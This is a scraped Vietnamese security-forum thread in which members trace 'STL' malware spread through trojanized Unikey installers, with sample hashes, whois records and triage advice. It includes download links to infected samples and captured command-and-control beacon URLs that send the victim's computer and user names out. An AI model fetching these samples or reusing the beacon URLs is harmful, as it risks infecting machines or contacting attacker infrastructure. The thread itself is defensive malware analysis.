Size:    9332736 bytes
Type:    PE32 executable for MS Windows (GUI) Intel 80386 32-bit
MD5:     915e9432ca9414a771071ee0cc115930
SHA1:    9ec74f80c7b03ff2ab4ecbe57b5a1d0296a3bee6
ssdeep:  3072:acFDLF09RoMPXa5zgKSfpBitAggb4d/VpvF2CmsNd:tFDLFFW8gbpUt7V7Vms
Date:    0x4D1868C7 [Mon Dec 27 10:21:59 2010 UTC]
EP:      0x403272 .text 0/5
CRC:     Claimed: 0x30c13, Actual: 0x8e87d2 [SUSPICIOUS]

@bolzano_1989 : gui bro mau virus nay http://www.mediafire.com/?xyqk2z1jnp1zcd9 Con này mạo danh Avira GmbH Bác xử lý giùm nhé 

PS: À mà còn việc này nữa, MSHelpCenter.exe chính là virus. Nhưng nếu nó chỉ có một mình, thì có thể xem như nó clean, sạch sẽ. Nhưng nếu để nó nằm trong ổ của nó gồm MSHelpCenter.idx, thumbcache.db, _desktop.ini, thì tụi nó kết hợp lại thành ổ virus.  

TQN wrote:

Vậy thì cái file MSHelpCenter.exe này trên máy axasin lấy từ đâu ra? Và nếu "khó" có nó như vậy, thì làm sao STL có thể dễ dàng tạo lập một mang lớn zombies tại VN với hàng trăm ngàn chiếc được? Càng lạ quá! 

Mình kiểm tra máy mình Xp Sp3 cũng không có PS: cái link này có thông tin gì chăng? http://xml.ssdsandbox.net/view/9cefbb3d8dbee992f914aeecd7bff063 Mình thấy Submission Details date là 5/14/2011 11:24:01 PM ]]> /hvaonline/posts/list/39641.html#244214 /hvaonline/posts/list/39641.html#244214 GMT

Mà em phát hiện ra 2 file này, em vui dã man. Theo suy đoán của em, thì nguồn virus là đây: http://nethoabinh.com/showthread.php?t=315 Và rất rất nhiều các phần mềm khác trên trang này TOP google. Hi vọng là em không làm mọi người đi sai hướng, cách đây khoảng vào lúc 1h AM ngày hôm nay, em đã tìm kiếm thử 2 file này nhưng hoàn toàn không có, vậy tại sao bây giờ lại có ???. Mà em có làm gì đâu chứ. Lạ 1 điều là file unikey em setup vào máy (nếu như dự đoán là trước đây e chưa từng dính) ngày 24, thì các file này thấy ngày tạo ra lại là ngày 23, mà ngày 23 em nhậu tơi bời có biết gì đâu, mỗi pà chị em dùng máy :(. Mà việc chỉnh sửa ngày tháng tạo ra file đối với mấy anh STL là quá quá dễ, em cũng làm được nữa (bằng AutoIT hehe). Hay là em đã vô tình nói cho các anh STL kích hoạt nó lên. Và giờ các thông tin của em tiêu tùng hết, mấy anh STL ơi em là dân đen, đừng đụng đến công việc của em dùm :((. Post sau e sẽ gửi cả đống file này lên. ]]> /hvaonline/posts/list/39641.html#244215 /hvaonline/posts/list/39641.html#244215 GMT /hvaonline/posts/list/39641.html#244216 /hvaonline/posts/list/39641.html#244216 GMT /hvaonline/posts/list/39641.html#244219 /hvaonline/posts/list/39641.html#244219 GMT /hvaonline/posts/list/39641.html#244220 /hvaonline/posts/list/39641.html#244220 GMT /hvaonline/posts/list/39641.html#244223 /hvaonline/posts/list/39641.html#244223 GMT

PXMMRF wrote:

TQN wrote:

PS: À mà còn việc này nữa, MSHelpCenter.exe chính là virus. Nhưng nếu nó chỉ có một mình, thì có thể xem như nó clean, sạch sẽ. Nhưng nếu để nó nằm trong ổ của nó gồm MSHelpCenter.idx, thumbcache.db, _desktop.ini, thì tụi nó kết hợp lại thành ổ virus.  

Vậy thì có phải là virus -trojạn "BackDoor.Generic 12.APEB" nằm trong file MSHelpCenter.idx sẽ inject các malicious code vào trong file MSHelpCenter.exe, như tôi đã từng dự đoán à? Phải như thế không TQN? Mải kiểm tra các master websites của STL (mong là đúng của STL) mất thời gian nhiều, nay kiểm lai xem có file nào là MSHelpCenter.exe trong các máy mình không? Kết quả là kiểm 3 máy cài WinXPSP3, 1may Windows7, 2 máy Win2K3 SP2 do chính mình quản lý, nhưng không thấy máy nào có cái file MSHelpCenter.exe cả. Lạ nhỉ? Các bạn thử kiểm máy mình có nó không? Vậy thì cái file MSHelpCenter.exe này trên máy axasin lấy từ đâu ra? Và nếu "khó" có nó như vậy, thì làm sao STL có thể dễ dàng tạo lập một mang lớn zombies tại VN với hàng trăm ngàn chiếc được? Càng lạ quá! 

Chuẩn bị đi làm rồi, nhưng thấy còn nhiều thắc mắc của mọi người nên đã test thử. Bên dưới là link download unikey, đây chính là file đã sinh ra 2 các file mà chú nói. http://www.mediafire.com/?fee5d3428euao0k Đây là bản unikey cháu download lâu lắm rồi không nhớ là download link. Sau khi cháu đã xóa đi các file virus MSHelpCenter.*, tắt Avira, Firewall, thử chạy lại thằng Unikey này để test thì nó là sinh các file virus MSHelpCenter. Như vậy đây chính là thằng đã tạo ra. Ah, mà hình như thằng này chỉ sinh ra trong Windows 7, máy khác dùng windows xp sp3 không sinh ra. PS: Mình có nhớ ở đâu nói rằng (hình như trong diễn đàn này): Nếu bạn là người Việt Nam, sau khi cài xong Windows thì bạn sẽ làm gì? Tất nhiên là làm sao để máy mình có thể xài được tiếng Việt. Vậy thì việc tiếp theo bạn sẽ làm gì? Lên google search, download Unikey, Vietkey... Bọn STL này phải nói là thâm độc thiệt. Chúng nó cài malware lên PC của người Việt, rồi tiếp tay cho kẻ khác làm bậy. Làm sao ngẩng mặt nhìn mọi người đây. ]]> /hvaonline/posts/list/39641.html#244224 /hvaonline/posts/list/39641.html#244224 GMT /hvaonline/posts/list/39641.html#244225 /hvaonline/posts/list/39641.html#244225 GMT /hvaonline/posts/list/39641.html#244228 /hvaonline/posts/list/39641.html#244228 GMT /hvaonline/posts/list/39641.html#244229 /hvaonline/posts/list/39641.html#244229 GMT Mải kiểm tra các master websites của STL (mong là đúng của STL) mất thời gian nhiều, nay kiểm lai xem có file nào là MSHelpCenter.exe trong các máy mình không? Kết quả là kiểm 3 máy cài WinXPSP3, 1may Windows7, 2 máy Win2K3 SP2 do chính mình quản lý, nhưng không thấy máy nào có cái file MSHelpCenter.exe cả. Lạ nhỉ? Các bạn thử kiểm máy mình có nó không?

Cái file MSHelpCenter.exe không có trong máy , e kiểm tra 3 máy: 2 win 7, 1 winxp sp3 mà chẳng thấy. Những ai bị nhiễm mới có thì phải .]]> /hvaonline/posts/list/39641.html#244233 /hvaonline/posts/list/39641.html#244233 GMT /hvaonline/posts/list/39641.html#244240 /hvaonline/posts/list/39641.html#244240 GMT

TQN wrote:

slt tới bây giờ chưa lòi rà một con "con mèo què" nào cho Linux, Unix. Đúng không mấy anh stl, sự thật mất lòng nhé. Tối nay em sương sương vài ba chai rồi, ngứa mồm lên chữi mấy anh chơi. Mấy anh tức không ? Làm gì được em ? À mà sao mấy anh sao không dùn 1 tool hide IP, cho 1 thằng đăng ký HVA này, lên đây, tự xưng tao là stl nè, đối chất công bằng với anh em HVA ha ? Đã fake IP rồi thì thánh cũng tìm không ra mà ! Tới bây giờ, em cũng rất muốn chat với 1 thành viên trong team mấy anh. Nick YM của em mấy anh thừa biết mà ha ! Sau này, đừng đánh giá ai thấp, nữa mùa nữa nhé, mấy anh stl ! Thật sự, khi mấy anh nói với Hà Vy Thoại là em là thằng RCE nữa mùa, em sôi gan lắm. Mấy anh nên biết là tới bây giờ, em chỉ dùng 40% công lực của em để dò theo mấy anh thôi. Chỉ cần em ngồi lỳ máy 2 tháng trời, bất chấp tất cả, em sẽ mò tới tận ổ mấy anh ! Đố mấy anh: nhiều vụ em đã hack, đã quậy tới giờ, FBI vẫn tìm không ra ! Đố mấy anh là những vụ gì ? Anonymous, Lucifer là trò trẻ con với em ! 

Nếu có nhà tài trợ nào đó cho anh TQN 2 tháng lương để cơm gạo áo tiền thì hay biết mấy nhĩ. Anh RE có nửa mùa hay không, có anh em Cviet, hva... này biết. Ở Việt Nam này cao thủ nhiều hay ko, giỏi đến mức nào thì tôi không biết. Nhưng với tôi, hiện nay anh đang là số 1 của làng CNTT VN]]> /hvaonline/posts/list/39641.html#244241 /hvaonline/posts/list/39641.html#244241 GMT

asaxin wrote:

Chuẩn bị đi làm rồi, nhưng thấy còn nhiều thắc mắc của mọi người nên đã test thử. Bên dưới là link download unikey, đây chính là file đã sinh ra 2 các file mà chú nói. http://www.mediafire.com/?fee5d3428euao0k Đây là bản unikey cháu download lâu lắm rồi không nhớ là download link. Sau khi cháu đã xóa đi các file virus MSHelpCenter.*, tắt Avira, Firewall, thử chạy lại thằng Unikey này để test thì nó là sinh các file virus MSHelpCenter. Như vậy đây chính là thằng đã tạo ra. Ah, mà hình như thằng này chỉ sinh ra trong Windows 7, máy khác dùng windows xp sp3 không sinh ra. 

Vậy là đã giải đáp hoàn toàn thắc mắc của anh PXMMRF về việc MSHelpCenter.exe và MSHelpCenter.idx được sinh ra từ đâu rồi :)]]> /hvaonline/posts/list/39641.html#244242 /hvaonline/posts/list/39641.html#244242 GMT Code:

115.78.4.183 - - [26/Jul/2011:21:27:05 +0700] "GET /highslide/highslide.css HTTP/1.1" 200 20399 "http://abcdef-site.com/" "-"
115.78.4.183 - - [26/Jul/2011:21:27:05 +0700] "GET /clientscript/vbulletin-core.js?v=408 HTTP/1.1" 200 47757 "http://abcdef-site.com/" "-"
115.78.4.183 - - [26/Jul/2011:21:27:05 +0700] "GET /highslide/highslide.min.js HTTP/1.1" 200 54296 "http://abcdef-site.com/" "-"
115.78.4.183 - - [26/Jul/2011:21:27:05 +0700] "GET / HTTP/1.1" 302 0 "http://abcdef-site.com/" "-"

Không có user-agent, abcd... là domain mình đã ẩn http://cC2.upanh.com/25.587.32753521.OoE0/1.png http://cC5.upanh.com/25.587.32753524.bi30/2.png http://www.stopforumspam.com/ipcheck/115.78.4.183 http://cC7.upanh.com/25.587.32753526.mkB0/3.png Kiểm thử nguyenvietcam77 thì cũng ra nethoabinh http://cC1.upanh.com/25.587.32753540.4vt0/5.png Kiểm thử vài cái nữa thì ra user khác, vậy là IP động rồi http://cC1.upanh.com/25.587.32753530.F8s0/4.png

sửa wrote:

Chỉnh lại cho đỡ kéo màn hình khi mọi người xem 

]]> /hvaonline/posts/list/39641.html#244244 /hvaonline/posts/list/39641.html#244244 GMT

TQN wrote:

... Bây giờ cứ để đó, lên mạng down SysInternals Suite, CurrPort, SmartSniff. Đọc help và tập dùng. Chỉ cần nhiêu đó là đủ tìm ra "mèo què" rồi, không cần đao to búa lớn đâu. Bất kỳ tool nào, mình hiểu nó 1 thì nó mang lại cho mình 1, hiểu 10 thì mang lại 10. Tập trung vào Process Explorer và ProcMon, AutoRuns, TCPView. Đọc help cho kỹ. Trong Process Explorer, check menu "Verify Image Signatures" trong Options menu. Duyệt từng process trên upper panel, right click - Properties, click tab TCP/IP. Nếu thấy có connect tới link đó thì xem process đó có verify không (trong tab Image). Nếu không có verify => à à, mày là "mèo què". Còn có, verify từng Dll của process đó, cũng right click - Properties, Verify. Thằng nào không có verified thì up lên. Up lầm còn hơn bỏ sót. ...  

Nhờ anh TQN mà em vừa tìm được nguyên nhân vì sao khung search biến mất bấy lâu nay trên máy khi nhấn nút search chỉ còn chú cún ngồi quẩy đuôi đó là Worm/Win32.Polip.gen. Con này núp trong file driver em tải trên site của Nvidia do Antiy-AVL phát hiện, kill ẻm một phát, nhấn nút search, khung search xuất hiện liền. ]]> /hvaonline/posts/list/39641.html#244245 /hvaonline/posts/list/39641.html#244245 GMT /hvaonline/posts/list/39641.html#244253 /hvaonline/posts/list/39641.html#244253 GMT /hvaonline/posts/list/39641.html#244255 /hvaonline/posts/list/39641.html#244255 GMT

TQN wrote:

File Unikey của asaxin và 2 file của lequy đã up lên đều ra virus của STL. Đặc biệt thằng MSHelpCenter.* của lequy up lại khác với MsHelpCenter.* mà ta đã biết, size chỉ còn 2 MB (đã biết: gần 9MB). Bây giờ em phải đi nữa rồi, chắc trưa hay chiều về mới tranh thủ phân tích. accouris89, exception và các anh em khác phân tích tụi này nhé ! 

File MSHelpCenter.* của lequy là giống với mẫu mà asaxin up. File size khác nhau là vì phần "rác" chèn thêm vào được sinh ngẫu nhiên, còn thực ra file gốc chỉ có : Code:

07/26/2011  11:04 PM           167,936          MsHelpCenter.exe
07/26/2011  11:04 PM            65,536          MsHelpCenter.idx
07/26/2011  11:04 PM            62,976          thumbcache.db
07/26/2011  11:04 PM            36,864          _desktop.ini

]]> /hvaonline/posts/list/39641.html#244259 /hvaonline/posts/list/39641.html#244259 GMT

rang0 wrote:

asaxin wrote:

Chuẩn bị đi làm rồi, nhưng thấy còn nhiều thắc mắc của mọi người nên đã test thử. Bên dưới là link download unikey, đây chính là file đã sinh ra 2 các file mà chú nói. http://www.mediafire.com/?fee5d3428euao0k Đây là bản unikey cháu download lâu lắm rồi không nhớ là download link. Sau khi cháu đã xóa đi các file virus MSHelpCenter.*, tắt Avira, Firewall, thử chạy lại thằng Unikey này để test thì nó là sinh các file virus MSHelpCenter. Như vậy đây chính là thằng đã tạo ra. Ah, mà hình như thằng này chỉ sinh ra trong Windows 7, máy khác dùng windows xp sp3 không sinh ra. 

Vậy là đã giải đáp hoàn toàn thắc mắc của anh PXMMRF về việc MSHelpCenter.exe và MSHelpCenter.idx được sinh ra từ đâu rồi :) 

Ờ cảm ơn rang0 và đăc biệt là asaxin (tên em giống tên một cầu thủ Nga chơi cho Arsenal quá. Hì hì) Nhưng mà chưa hết đâu rang0 ạ. Chưa hết ờ câu này của axasin:

Ah, mà hình như thằng này chỉ sinh ra trong Windows 7, máy khác dùng windows xp sp3 không sinh ra 

Ở Việt nam hiện nay, theo tôi, chỉ khoảng 5-8 % người cài win 7, còn lại hầu hết là Win XP. Trong số người cài Win 7, có lẽ tối đa là 30-40% người có thể nhiễm STL trojan thôi. Như thế khó mà tạo lập được mang STL bot với hàng trăm ngàn máy ở VN. Note. -Cái STL Master website-server mà tôi check từ thông tin của axasin chính là cái có quy mô khá hoành tráng, như tôi nói ở trên. - Tôi bắt đầu "hy sinh' 2 máy cài Win7 và Win XP cho nhiễm STL virus vào xem nó thế nào. Hơi mất công và thời gian đây.]]> /hvaonline/posts/list/39641.html#244260 /hvaonline/posts/list/39641.html#244260 GMT

PXMMRF wrote:

Ờ cảm ơn rang0 và đăc biệt là asaxin (tên em giống tên một cầu thủ Nga chơi cho Arsenal quá. Hì hì) Nhưng mà chưa hết đâu rang0 ạ. Chưa hết ờ câu này của axasin:

Ah, mà hình như thằng này chỉ sinh ra trong Windows 7, máy khác dùng windows xp sp3 không sinh ra 

Ở Việt nam hiện nay, theo tôi, chỉ khoảng 5-8 % người cài win 7, còn lại hầu hết là Win XP. Trong số người cài Win 7, có lẽ tối đa là 30-40% người có thể nhiễm STL trojan thôi. Như thế khó mà tạo lập được mang STL bot với hàng trăm ngàn máy ở VN.  

Có 2 nơi mà file fake unikey sẽ drop MSHelpCenter.* và các thư viện đi kèm đó là : hoặc %windir% hoặc %temp% tuỳ vào việc nó gọi OpenSCManager có thành công hay không.]]> /hvaonline/posts/list/39641.html#244264 /hvaonline/posts/list/39641.html#244264 GMT /hvaonline/posts/list/39641.html#244265 /hvaonline/posts/list/39641.html#244265 GMT /hvaonline/posts/list/39641.html#244266 /hvaonline/posts/list/39641.html#244266 GMT

PXMMRF wrote:

Ở Việt nam hiện nay, theo tôi, chỉ khoảng 5-8 % người cài win 7, còn lại hầu hết là Win XP. Trong số người cài Win 7, có lẽ tối đa là 30-40% người có thể nhiễm STL trojan thôi. Như thế khó mà tạo lập được mang STL bot với hàng trăm ngàn máy ở VN.  

Hì hì, câu này anh Mai nói ngược rồi. Bởi vì hầu hết dùng Windows XP và chỉ có 5-8% dùng Windows 7 (trong số người dùng Windows 7 thỉ chỉ có 30-40% bị nhiễm) cho nên dễ tạo lập được mạng STL bot với hàng trăm ngàn máy ở VN. Sau kết quả điều tra sơ khởi, em thấy cả hệ thống máy của một trường đại học đều ấn định người dùng có chủ quyền "Administrator" và hàng chục doanh nghiệp lớn/vừa cũng không tránh khỏi lỗ hổng này. Trong con số 20 người dùng máy bình mà em hỏi thăm thì 100% là chạy dưới chủ quyền "Administrator". Bởi vậy, dễ tạo lập được mạng STL bot với hàng trăm ngàn máy ở VN chớ không phải "khó" :P .]]> /hvaonline/posts/list/39641.html#244267 /hvaonline/posts/list/39641.html#244267 GMT

Đây là 4 file trong thư mục Microsoft Help http://www.mediafire.com/?m5hljr2c17q5ueh Còn đây la file pcap em save lại từ wireshark ( em cho wireshark capture trước rồi chạy file UniKey, để nó chạy khoảng hơn 5 phút rồi save lại ) http://www.mediafire.com/?f0t4rhkavn5nmyf]]> /hvaonline/posts/list/39641.html#244272 /hvaonline/posts/list/39641.html#244272 GMT /hvaonline/posts/list/39641.html#244275 /hvaonline/posts/list/39641.html#244275 GMT /hvaonline/posts/list/39641.html#244276 /hvaonline/posts/list/39641.html#244276 GMT /hvaonline/posts/list/39641.html#244280 /hvaonline/posts/list/39641.html#244280 GMT

Down advertise.gif về, giả mã ra PE file, execute nó. Host express.blogdns.info có IP là: 91.211.118.119, vẫn còn sống nhăn răn, nhưng giờ này thì không mở port nào. Vì vậy nên advertise.gif em lấy về không được. IPNetInfo cho ra thông tin sau: Code:

inetnum:         91.211.116.0 - 91.211.119.255
netname:         net-0x2a
descr:           Zharkov Mukola Mukolayovuch
remarks:         Datacentre "0x2a"
country:         UA
org:             ORG-PEZM1-RIPE
admin-c:         ZN210-RIPE
tech-c:          ZN210-RIPE
status:          ASSIGNED PI
mnt-by:          RIPE-NCC-END-MNT
mnt-lower:       RIPE-NCC-END-MNT
mnt-by:          ONIK-MNT
mnt-routes:      ONIK-MNT
mnt-domains:     ONIK-MNT
changed:         support@netassist.kiev.ua 20081211
source:          RIPE

organisation:   ORG-PEZM1-RIPE
org-name:       Private Entreprise Zharkov Mukola Mukolayovuch
org-type:       OTHER
address:        Ukraine, Kyiv, Entuziastov str. 29, of. 42
e-mail:         support@0x2a.com.ua
admin-c:        ZN210-RIPE
phone:          +38-044 587-83-16
mnt-ref:        ONIK-MNT
mnt-by:         ONIK-MNT
changed:        support@netassist.kiev.ua 20091215
source:         RIPE

person:         Zharkov Nikolay
address:        Ukraine, Kyiv, Entuziastov str. 29, of. 42
phone:          +38-044 587-83-16
nic-hdl:        ZN210-RIPE
mnt-by:         ONIK-MNT
changed:        support@netassist.kiev.ua 20081211
source:         RIPE

% Information related to '91.211.116.0/22AS48587'

route:          91.211.116.0/22
descr:          Datacentre "0x2a" Route object
origin:         AS48587
mnt-by:         ONIK-MNT
changed:        pavel@antidot.ua 20081215
source:         RIPE

UA: Ukraina. Không biết có liên quan tới tụi mafia Nga như anh PXMMRF đã nói không ? ]]> /hvaonline/posts/list/39641.html#244282 /hvaonline/posts/list/39641.html#244282 GMT /hvaonline/posts/list/39641.html#244289 /hvaonline/posts/list/39641.html#244289 GMT [conmale]$ whois aliasx.net Whois Server Version 2.0 Domain names in the .com and .net domains can now be registered with many different competing registrars. Go to http://www.internic.net for detailed information. Domain Name: ALIASX.NET Registrar: DIRECTI INTERNET SOLUTIONS PVT. LTD. D/B/A PUBLICDOMAINREGISTRY.COM Whois Server: whois.PublicDomainRegistry.com Referral URL: http://www.PublicDomainRegistry.com Name Server: NS1.SURATIT.IN Name Server: NS2.SURATIT.IN Name Server: NS3.SURATIT.IN Name Server: NS4.SURATIT.IN Status: clientDeleteProhibited Status: clientHold Status: clientTransferProhibited Status: clientUpdateProhibited Updated Date: 25-jul-2011 Creation Date: 08-apr-2011 Expiration Date: 08-apr-2012 >>> Last update of whois database: Wed, 27 Jul 2011 05:50:48 UTC <<< The Registry database contains ONLY .COM, .NET, .EDU domains and Registrars. Registration Service Provided By: SH3LLS Contact: +852.58080443 Website: http://www.sh3lls.net/ Domain Name: ALIASX.NET Registrant: PrivacyProtect.org Domain Admin (contact@privacyprotect.org) ID#10760, PO Box 16 Note - All Postal Mails Rejected, visit Privacyprotect.org Nobby Beach null,QLD 4218 AU Tel. +45.36946676 Creation Date: 08-Apr-2011 Expiration Date: 08-Apr-2012 Domain servers in listed order: ns1.suratit.in ns2.suratit.in ns3.suratit.in ns4.suratit.in Administrative Contact: PrivacyProtect.org Domain Admin (contact@privacyprotect.org) ID#10760, PO Box 16 Note - All Postal Mails Rejected, visit Privacyprotect.org Nobby Beach null,QLD 4218 AU Tel. +45.36946676 Technical Contact: PrivacyProtect.org Domain Admin (contact@privacyprotect.org) ID#10760, PO Box 16 Note - All Postal Mails Rejected, visit Privacyprotect.org Nobby Beach null,QLD 4218 AU Tel. +45.36946676 Billing Contact: PrivacyProtect.org Domain Admin (contact@privacyprotect.org) ID#10760, PO Box 16 Note - All Postal Mails Rejected, visit Privacyprotect.org Nobby Beach null,QLD 4218 AU Tel. +45.36946676 Status:SUSPENDED 

Hiện nay đám hosting iWeb và đám domain registrar "SH3LLS" này vẫn còn host một số "kho tàng" của STL. Đám này hết chơi OnlineNIC ở Hồng Kông rồi đến sh3lls cũng ở Hồng Kông, toàn là những nơi tàng chứa những domain frauds. Còn hosting thì kiếm mấy chỗ chai lì để chứa những thứ độc hại. Có lẽ STL nghĩ rằng chuyển sang núp bóng ở Hồng Kông thì tụi FBI không mó tay vô được chắc :-) . ]]> /hvaonline/posts/list/39641.html#244290 /hvaonline/posts/list/39641.html#244290 GMT /hvaonline/posts/list/39641.html#244292 /hvaonline/posts/list/39641.html#244292 GMT

TQN wrote:

Host express.blogdns.info có IP là: 91.211.118.119, vẫn còn sống nhăn răn, nhưng giờ này thì không mở port nào. Vì vậy nên advertise.gif em lấy về không được. IPNetInfo cho ra thông tin sau: Code:

inetnum:         91.211.116.0 - 91.211.119.255
netname:         net-0x2a
descr:           Zharkov Mukola Mukolayovuch
remarks:         Datacentre "0x2a"
country:         UA
org:             ORG-PEZM1-RIPE
admin-c:         ZN210-RIPE
tech-c:          ZN210-RIPE
status:          ASSIGNED PI
mnt-by:          RIPE-NCC-END-MNT
mnt-lower:       RIPE-NCC-END-MNT
mnt-by:          ONIK-MNT
mnt-routes:      ONIK-MNT
mnt-domains:     ONIK-MNT
changed:         support@netassist.kiev.ua 20081211
source:          RIPE

organisation:   ORG-PEZM1-RIPE
org-name:       Private Entreprise Zharkov Mukola Mukolayovuch
org-type:       OTHER
address:        Ukraine, Kyiv, Entuziastov str. 29, of. 42
e-mail:         support@0x2a.com.ua
admin-c:        ZN210-RIPE
phone:          +38-044 587-83-16
mnt-ref:        ONIK-MNT
mnt-by:         ONIK-MNT
changed:        support@netassist.kiev.ua 20091215
source:         RIPE

person:         Zharkov Nikolay
address:        Ukraine, Kyiv, Entuziastov str. 29, of. 42
phone:          +38-044 587-83-16
nic-hdl:        ZN210-RIPE
mnt-by:         ONIK-MNT
changed:        support@netassist.kiev.ua 20081211
source:         RIPE

% Information related to '91.211.116.0/22AS48587'

route:          91.211.116.0/22
descr:          Datacentre "0x2a" Route object
origin:         AS48587
mnt-by:         ONIK-MNT
changed:        pavel@antidot.ua 20081215
source:         RIPE

UA: Ukraina. Không biết có liên quan tới tụi mafia Nga như anh PXMMRF đã nói không ?  

Anh nghĩ không phải mafia Nga gì đâu mà STL cũng có servers bên Ukraine (có lẽ nghĩ rằng host bên Ukraine thì tụi FBI không mó tay vô được :-) ). Chuỗi 91.211.116.0/22 kia cũng chứa trang "tuyệt tác" x-cafevn-db.info trước kia.]]> /hvaonline/posts/list/39641.html#244296 /hvaonline/posts/list/39641.html#244296 GMT /hvaonline/posts/list/39641.html#244298 /hvaonline/posts/list/39641.html#244298 GMT

lequi wrote:

@TQN: Trong mớ packet em capture thì cũng thấy URL này, và của e là đây: http://fastupdate.dyndns-office.com/advertise.gif?cv=1&uv=1&uc=0&lrp=4&sye=0&v=0&id=08vWdU7mjkAqVg5oiy7O799iqUzTK46n&als=6D21494831435D&cn=LEQUY-PC&us=LeQuy&qmnhnqzdptpgwfkfkn=prplnfiydcrrmmshaxmypr 

fastupdate.dyndns-office.com resolved về "204.13.248.126" và IP này nằm trong blacklist của nhiều database vì nổi tiếng malware. Nó bị "đóng cửa" từ hồi 2010. IP này trỏ tới hơn 500 hostname, toàn là những thứ "đầu trâu mặt ngựa" của Internet. Không biết phải có liên quan tới STL không.]]> /hvaonline/posts/list/39641.html#244299 /hvaonline/posts/list/39641.html#244299 GMT Code:

1. http://express.blogdns.info/advertise.gif?cv=1&uv=1&uc=0&lrp=0&sye=0&v=0&id=JF5RfuJw4q8Tbgri83V3FgetMfHLT24p&als=6D21494831435D&cn=abcde&us=abc

2. http://fastupdate.dyndns-office.com/advertise.gif?cv=1&uv=1&uc=0&lrp=0&sye=0&v=0&id=JF5RfuJw4q8Tbgri83V3FgetMfHLT24p&als=6D21494831435D&cn=abcde&us=abc

3. http://hot.enfaqs.com/advertise.gif?cv=1&uv=1&uc=0&lrp=0&sye=0&v=0&id=JF5RfuJw4q8Tbgri83V3FgetMfHLT24p&als=6D21494831435D&cn=abcde&us=abc

4. http://securelogin.doomdns.com/advertise.gif?cv=1&uv=1&uc=0&lrp=0&sye=0&v=0&id=JF5RfuJw4q8Tbgri83V3FgetMfHLT24p&als=6D21494831435D&cn=abc&us=abc

Cảm ơn lequy, cậu không nói thì chắc tui đã không biết và bỏ sót. Trong 4 cái host trên, cái thì chết, cái thì đóng port 80. Chỉ còn một mình thằng fastupdate.dyndns-office.com là còn respond cho lệnh download, và nó chỉ trả về cho em cái này:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html><head><title>fastupdate.dyndns-office.com is offline</title></head> <body><h1>fastupdate.dyndns-office.com is offline</h1><hr> <p>fastupdate.dyndns-office.com is currently offline. Please try again later.</p> </body></html>  

Buồn thiệt, không thì anh em ta có được con bot mới nữa rồi. Thôi, nhiệm vụ kế tiếp là up các mẫu MsHelpCenter còn rin extract từ "Unikey độc" (theo anh PXMMRF) của asaxin và BackupUtility lên KIS, MS, Avira...]]> /hvaonline/posts/list/39641.html#244302 /hvaonline/posts/list/39641.html#244302 GMT

conmale wrote:

PXMMRF wrote:

Ở Việt nam hiện nay, theo tôi, chỉ khoảng 5-8 % người cài win 7, còn lại hầu hết là Win XP. Trong số người cài Win 7, có lẽ tối đa là 30-40% người có thể nhiễm STL trojan thôi. Như thế khó mà tạo lập được mang STL bot với hàng trăm ngàn máy ở VN.  

Hì hì, câu này anh Mai nói ngược rồi. Bởi vì hầu hết dùng Windows XP và chỉ có 5-8% dùng Windows 7 (trong số người dùng Windows 7 thỉ chỉ có 30-40% bị nhiễm) cho nên dễ tạo lập được mạng STL bot với hàng trăm ngàn máy ở VN. Sau kết quả điều tra sơ khởi, em thấy cả hệ thống máy của một trường đại học đều ấn định người dùng có chủ quyền "Administrator" và hàng chục doanh nghiệp lớn/vừa cũng không tránh khỏi lỗ hổng này. Trong con số 20 người dùng máy bình mà em hỏi thăm thì 100% là chạy dưới chủ quyền "Administrator". Bởi vậy, dễ tạo lập được mạng STL bot với hàng trăm ngàn máy ở VN chớ không phải "khó" :P . 

Hì hì, câu này mình nói với ý khác. Vì axasin thông báo là cài cái Malicious Unikey mà bạn ấy download về chỉ tạo các file virus MSHelpCenter.* trong Windows 7 thôi , còn trong Win XP thì không được (nghĩa là Win XP thì không bị nhiễm virus khi cài malicious Unikey nói trên). Vì số người ở VN dùng Win 7 còn ít, nên tôi suy diễn tiếp theo ý axasin như vậy (cũng có ý rỡn vui với rang0 chút chút) Đây là suy diễn theo nhận định của axasin. Chứ tôi đương nhiên là không nghĩ như vậy. Tôi nghĩ máy trên mạng VN hầu hết là cài Win XP và tỷ lệ máy cài Win XP bị nhiễm STL virus-trojan là rất cao. Cần nói thêm là hiện đang có nhiều loại (version) malicious Unikey và Vietkey trên mạng. Malicious Unikey mà axasin cài khác với của lequi đã cài. Còn có nhiều malicious Unikey khác trên mang nũa. Kinh! [Hì hì các bác đừng gọi là "fake Unikey", vì nó vẫn dùng được để đánh chữ Việt mà. Nên gọi là malicious Unikey (Unikey độc). Giả thì không dùng đươc. Nhưng Unikey nhiễm độc (malicious) thì vẫn dùng được, nhưng lai nguy hiểm cho ta hơn ngàn lần. Hì hì. Nhưng đây chỉ là khuyến cáo vui thôi!] Đúng là hầu hết máy tính cá nhân ở Việt nam (tai tư gia, cơ quan) đều cài đặt cho user dưới quyến admin.. Win XP rõ ràng là cũng hỗ trợ việc này thưc hiện dễ dàng trong quá trình cài đặt nó. Việc phân quyên cho user trên Win XP còn đơn giản và thiếu bảo mật hơn Win 2000. Nhưng nghĩ lai thì lại thấy khó: máy riêng của nó, hay phân cho mình nó dùng tại cơ quan, thì hà cớ gì bắt nó chỉ đươc dùng account restricted hay account limited. Khó thật. Chuyên vui (có thưc): Vừa qua công ty tôi các máy tính bị nhiễm virus nặng nề, lây lan lung tung, mất dữ liêu, do anh em có quyền admin. tự động cài nhiều chương trình game, nghe nhạc nhiễm virus. Tôi nổi điên lên, yêu cầu tất cả công ty mang máy lên văn phòng để phân quyên lại: không cho dùng quyên admin, chỉ cho dùng quyền restricted hay limited. Gần trăm máy mang lên, xếp hàng, trông hết hồn. Lệnh đã ra phải làm, không kỳ. Tôi và 2 lão Kỹ sư IT phải mất gần 3 ngày để phân quyền, dọn dep rác rưởi, update antivirus và cài lai các máy in, máy scan, nâng cấp RAM.... Mệt quá. Nhưng rõ ràng sau đó tình hình đỡ hơn nhiều. Gần đây lai phải tổ chức 1 lớp hoc sử dung máy tính trong nôi bộ cơ quan..... To "TQN". Ucraina có một mối quan hệ rất sâu sắc với TQ, đăc biệt trong thời kỳ tổng thống cũ, khi mà môi quan hệ giữa Nga và Ukrain xấu, rạn nứt. TQ trơ giúp Ucrain rất nhiều về Ktế và đầu tư một số vốn khá lơn vào nước này ]]> /hvaonline/posts/list/39641.html#244305 /hvaonline/posts/list/39641.html#244305 GMT khoảng 10 domain STL sử dung cho 10 master website-webserver khác nhau. Một số website-webserver đã tạm thời ngưng hoăc mất domain. Vấn đề chúng ta chưa xác định thật rõ là 